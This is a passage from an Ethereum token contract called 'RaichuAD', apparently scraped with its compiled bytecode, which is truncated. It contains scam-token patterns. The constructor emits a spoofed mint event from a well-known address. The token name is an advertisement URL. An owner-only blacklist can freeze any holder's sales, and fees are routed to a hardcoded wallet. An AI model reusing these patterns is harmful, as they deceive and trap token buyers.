function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RaichuAD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"https://t.me/eRaichu - (raichucoin.com)";
string private constant _symbol = '$eRAICHU Ad';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (33 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(0x69696902c8e3950Ca062527c61E23B8Aedb444cB).transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2.125e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d9d565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128e3565b610441565b6040516101789190612d82565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190612f1f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612894565b610470565b6040516101e09190612d82565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612806565b610549565b005b34801561021e57600080fd5b50610227610639565b6040516102349190612f94565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612960565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612806565b610766565b6040516102b19190612f1f565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612cb4565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612d9d565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128e3565b610970565b60405161035b9190612d82565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061291f565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129b2565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612858565b6111fd565b6040516104189190612f1f565b60405180910390f35b606060405180606001604052806027815260200161365760279139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b6105398560405180606001604052806028815260200161362f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0f9092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612e7f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612e7f565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611b73565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c60565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612e7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f2465524149434855204164000000000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612e7f565b60405180910390fd5b60005b8151811015610ada57600160066000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad290613235565b915050610a26565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611cce565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612e7f565b60405180910390fd5b601160149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612eff565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b919061282f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061282f565b6040518363ffffffff1660e01b8152600401610e02929190612ccf565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e54919061282f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612d21565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c91906129db565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671d7d843dc3b480006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cf8565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612989565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e7f565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e3f565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea00000611fc890919063ffffffff16565b61204390919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f29190612f1f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612edf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612dff565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190612f1f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612dbf565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612e9f565b60405180910390fd5b6007600a819055506005600b8190555061159261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160057506115d061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4c57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116a95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b257600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561175d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117cb5750601160179054906101000a900460ff165b1561187b576012548111156117df57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182a57600080fd5b6021426118379190613055565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119265750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611992576007600a819055506008600b819055505b600061199d30610766565b9050601160159054906101000a900460ff16158015611a0a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a225750601160169054906101000a900460ff165b15611a4a57611a3081611cce565b60004790506000811115611a4857611a4747611b73565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611afd57600090505b611b098484848461208d565b50505050565b6000838311158290611b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4e9190612d9d565b60405180910390fd5b5060008385611b669190613136565b9050809150509392505050565b7369696902c8e3950ca062527c61e23b8aedb444cb73ffffffffffffffffffffffffffffffffffffffff166108fc611bb560028461204390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be0573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c3160028461204390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c5c573d6000803e3d6000fd5b5050565b6000600854821115611ca7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9e90612ddf565b60405180910390fd5b6000611cb16120ba565b9050611cc6818461204390919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d2c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d5a5781602001602082028036833780820191505090505b5090503081600081518110611d98577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3a57600080fd5b505afa158015611e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e72919061282f565b81600181518110611eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f77959493929190612f3a565b600060405180830381600087803b158015611f9157600080fd5b505af1158015611fa5573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611fdb576000905061203d565b60008284611fe991906130dc565b9050828482611ff891906130ab565b14612038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202f90612e5f565b60405180910390fd5b809150505b92915050565b600061208583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120e5565b905092915050565b8061209b5761209a612148565b5b6120a684848461218b565b806120b4576120b3612356565b5b50505050565b60008060006120c761236a565b915091506120de818361204390919063ffffffff16565b9250505090565b6000808311829061212c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121239190612d9d565b60405180910390fd5b506000838561213b91906130ab565b9050809150509392505050565b6000600a5414801561215c57506000600b54145b1561216657612189565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061219d876123cc565b9550955095509550955095506121fb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc816124dc565b6122e68483612599565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123439190612f1f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123a0683635c9adc5dea0000060085461204390919063ffffffff16565b8210156123bf57600854683635c9adc5dea000009350935050506123c8565b81819350935050505b9091565b60008060008060008060008060006123e98a600a54600b546125d3565b92509250925060006123f96120ba565b9050600080600061240c8e878787612669565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061247683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b0f565b905092915050565b600080828461248d9190613055565b9050838110156124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c990612e1f565b60405180910390fd5b8091505092915050565b60006124e66120ba565b905060006124fd8284611fc890919063ffffffff16565b905061255181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ae8260085461243490919063ffffffff16565b6008819055506125c98160095461247e90919063ffffffff16565b6009819055505050565b6000806000806125ff60646125f1888a611fc890919063ffffffff16565b61204390919063ffffffff16565b90506000612629606461261b888b611fc890919063ffffffff16565b61204390919063ffffffff16565b9050600061265282612644858c61243490919063ffffffff16565b61243490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126828589611fc890919063ffffffff16565b905060006126998689611fc890919063ffffffff16565b905060006126b08789611fc890919063ffffffff16565b905060006126d9826126cb858761243490919063ffffffff16565b61243490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061270561270084612fd4565b612faf565b9050808382526020820190508285602086028201111561272457600080fd5b60005b85811015612754578161273a888261275e565b845260208401935060208301925050600181019050612727565b5050509392505050565b60008135905061276d816135e9565b92915050565b600081519050612782816135e9565b92915050565b600082601f83011261279957600080fd5b81356127a98482602086016126f2565b91505092915050565b6000813590506127c181613600565b92915050565b6000815190506127d681613600565b92915050565b6000813590506127eb81613617565b92915050565b60008151905061280081613617565b92915050565b60006020828403121561281857600080fd5b60006128268482850161275e565b91505092915050565b60006020828403121561284157600080fd5b600061284f84828501612773565b91505092915050565b6000806040838503121561286b57600080fd5b60006128798582860161275e565b925050602061288a8582860161275e565b9150509250929050565b6000806000606084860312156128a957600080fd5b60006128b78682870161275e565b93505060206128c88682870161275e565b92505060406128d9868287016127dc565b9150509250925092565b600080604083850312156128f657600080fd5b60006129048582860161275e565b9250506020612915858286016127dc565b9150509250929050565b60006020828403121561293157600080fd5b600082013567ffffffffffffffff81111561294b57600080fd5b61295784828501612788565b91505092915050565b60006020828403121561297257600080fd5b6000612980848285016127b2565b91505092915050565b60006020828403121561299b57600080fd5b60006129a9848285016127c7565b91505092915050565b6000602082840312156129c457600080fd5b60006129d2848285016127dc565b91505092915050565b6000806000606084860312156129f057600080fd5b60006129fe868287016127f1565b9350506020612a0f868287016127f1565b9250506040612a20868287016127f1565b9150509250925092565b6000612a368383612a42565b60208301905092915050565b612a4b8161316a565b82525050565b612a5a8161316a565b82525050565b6000612a6b82613010565b612a758185613033565b9350612a8083613000565b8060005b83811015612ab1578151612a988882612a2a565b9750612aa383613026565b925050600181019050612a84565b5085935050505092915050565b612ac78161317c565b82525050565b612ad6816131bf565b82525050565b6000612ae78261301b565b612af18185613044565b9350612b018185602086016131d1565b612b0a8161330